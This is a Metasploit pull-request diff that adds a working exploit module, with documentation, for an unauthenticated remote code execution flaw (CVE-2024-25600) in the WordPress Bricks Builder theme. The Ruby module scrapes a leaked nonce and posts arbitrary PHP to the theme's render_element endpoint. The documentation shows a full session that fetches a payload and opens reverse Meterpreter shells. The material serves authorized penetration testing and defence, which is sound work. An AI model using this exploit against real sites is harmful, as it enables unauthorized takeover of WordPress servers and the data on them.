Land #18891, Add RCE module for wp bricks builder

This PR adds the wp_bricks_builder_rce exploit module that targets a
known vulnerability in the WordPress Bricks Builder Theme, versions
prior to 1.9.6.

data/wordlists/wp-exploitable-themes.txt

@@ -1,2 +1,3 @@
 holding_pattern
 wplms
+bricks

documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md

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+## Vulnerable Application
+
+This Metasploit module exploits a Remote Code Execution vulnerability in Bricks Builder Theme, versions prior to 1.9.6.
+The vulnerability allows attackers to execute arbitrary PHP code by leveraging
+a nonce leakage to bypass authentication and exploit the eval() function usage within the theme.
+
+To replicate a vulnerable environment for testing:
+
+1. Install WordPress.
+2. Download and install the Bricks Builder Theme, ensuring the version is below 1.9.6.
+3. Activate Bricks Builder.
+4. Create a model with a default page (to ensure the nonce is on index.php, add some elements).
+
+## Verification Steps
+
+1. Set up a WordPress instance with the Bricks Builder Theme (version < 1.9.6).
+2. Launch `msfconsole` in your Metasploit framework.
+3. Use the module: `use exploit/multi/http/wp_bricks_builder_rce`.
+4. Set `RHOSTS` to the local IP address or hostname of the target.
+5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
+6. Execute the exploit using the `run` or `exploit` command.
+7. If the target is vulnerable, the module will execute the specified payload.
+
+## Options
+
+No option
+
+## Scenarios
+
+### Successful Exploitation Against Local WordPress with Bricks Builder Theme 1.8
+
+**Setup**:
+
+- Local WordPress instance with Bricks Builder Theme version 1.8.
+- Metasploit Framework.
+
+**Steps**:
+
+1. Start `msfconsole`.
+2. Load the module:
+```
+use exploit/multi/http/wp_bricks_builder_rce
+```
+4. Set `RHOSTS` to the local IP (e.g., 192.168.1.10).
+5. Configure other necessary options (TARGETURI, SSL, etc.).
+6. Launch the exploit:
+```
+exploit
+```
+
+**Expected Results**:
+
+- The module attempts to retrieve a nonce from the local server.
+- It then uploads and executes the payload.
+- If successful, control over the local WordPress instance is gained, depending on the payload used.
+
+**Example**:
+
+With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
+
+```
+msf6 > search bricks
+
+Matching Modules
+================
+
+   #  Name                                      Disclosure Date  Rank       Check  Description
+   -  ----                                      ---------------  ----       -----  -----------
+   0  exploit/multi/http/wp_bricks_builder_rce  2024-02-19       excellent  Yes    Unauthenticated RCE in Bricks Builder Theme
+
+
+Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_bricks_builder_rce
+
+msf6 > use 0
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/wp_bricks_builder_rce) > options
+
+Module options (exploit/multi/http/wp_bricks_builder_rce):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
+                                         html
+   RPORT      443              yes       The target port (TCP)
+   SSL        true             no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI  /                yes       The URI path to WordPress
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+   Name                Current Setting  Required  Description
+   ----                ---------------  --------  -----------
+   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
+   FETCH_FILENAME      ilPaBylkCKr      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
+   FETCH_SRVHOST                        no        Local IP to use for serving payload
+   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
+   FETCH_URIPATH                        no        Local URI to use for serving payload
+   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
+   LHOST               192.168.1.5      yes       The listen address (an interface may be specified)
+   LPORT               4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Automatic
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(multi/http/wp_bricks_builder_rce) > set ssl false
+[!] Changing the SSL option's value may require changing RPORT!
+ssl => false
+msf6 exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost
+rhosts => localhost
+msf6 exploit(multi/http/wp_bricks_builder_rce) > set rport 8888
+rport => 8888
+msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit
+
+[*] Started reverse TCP handler on 192.168.1.5:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[+] Nonce retrieved: 953563d296
+[*] Sending stage (3045380 bytes) to 172.20.0.2
+[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.20.0.2:39856) at 2024-02-26 21:51:11 +0100
+
+meterpreter > sysinfo 
+Computer     : 172.20.0.2
+OS           : Debian 11.8 (Linux 6.4.10-060410-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```
+
+With `php/meterpreter/reverse_tcp`:
+
+```
+msf6 exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit
+
+[*] Started reverse TCP handler on 192.168.1.5:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[+] Nonce retrieved: 953563d296
+[*] Sending stage (39927 bytes) to 172.20.0.2
+[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 172.20.0.2:49678) at 2024-02-26 22:02:56 +0100
+
+meterpreter > sysinfo
+Computer    : 65e1e703e433
+OS          : Linux 65e1e703e433 6.4.10-060410-generic #202308111154 SMP PREEMPT_DYNAMIC Fri Aug 11 12:00:45 UTC 2023 x86_64
+Meterpreter : php/linux
+meterpreter > 
+```

modules/exploits/multi/http/wp_bricks_builder_rce.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Unauthenticated RCE in Bricks Builder Theme',
+        'Description' => %q{
+          This module exploits an unauthenticated remote code execution vulnerability in the
+          Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers
+          to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and
+          exploit the eval() function usage within the theme. Successful exploitation allows for full
+          control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.
+        },
+        'Author' => [
+          'Calvin Alkan', # Vulnerability discovery
+          'Valentin Lobstein' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2024-25600'],
+          ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'],
+          ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'],
+          ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd']
+        ],
+        'DisclosureDate' => '2024-02-19',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE ],
+          'SideEffects' => [ IOC_IN_LOGS ],
+          'Reliability' => [ REPEATABLE_SESSION ]
+        },
+        'Platform' => ['unix', 'linux', 'win', 'php'],
+        'Arch' => [ARCH_PHP, ARCH_CMD],
+        'Targets' => [
+          [
+            'PHP In-Memory',
+            {
+              'Platform' => 'php',
+              'Arch' => ARCH_PHP,
+              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
+              'Type' => :php_memory
+            }
+          ],
+          [
+            'Unix In-Memory',
+            {
+              'Platform' => ['unix', 'linux'],
+              'Arch' => ARCH_CMD,
+              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
+              'Type' => :unix_memory
+            }
+          ],
+          [
+            'Windows In-Memory',
+            {
+              'Platform' => 'win',
+              'Arch' => ARCH_CMD,
+              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' },
+              'Type' => :win_memory
+            }
+          ],
+        ],
+        'Privileged' => false
+      )
+    )
+  end
+
+  def fetch_nonce
+    uri = normalize_uri(target_uri.path)
+    res = send_request_cgi('method' => 'GET', 'uri' => uri)
+    return nil unless res&.code == 200
+
+    script_tag_match = res.body.match(%r{<script id="bricks-scripts-js-extra"[^>]*>([\s\S]*?)</script>})
+    return nil unless script_tag_match
+
+    script_content = script_tag_match[1]
+    nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/)
+    nonce_match ? nonce_match[1] : nil
+  end
+
+  def exploit
+    nonce = fetch_nonce
+    fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce
+
+    print_good("Nonce retrieved: #{nonce}")
+
+    send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'index.php'),
+      'ctype' => 'application/json',
+      'data' => {
+        'postId' => rand(1..10000).to_s,
+        'nonce' => nonce,
+        'element' => {
+          'name' => 'code',
+          'settings' => {
+            'executeCode' => 'true',
+            'code' => "<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))"} ?>"
+          }
+        }
+      }.to_json,
+      'vars_get' => {
+        'rest_route' => '/bricks/v1/render_element'
+      }
+    )
+  end
+
+  def check
+    return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?
+
+    wp_version = wordpress_version
+    print_status("WordPress Version: #{wp_version}") if wp_version
+
+    theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1')
+    return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code
+    return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected'
+    return CheckCode::Safe("The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.") unless theme_check_code.code == 'appears'
+
+    theme_version = theme_check_code.details[:version]
+    print_good("Detected Bricks Builder theme version: #{theme_version}")
+    CheckCode::Appears
+  end
+
+end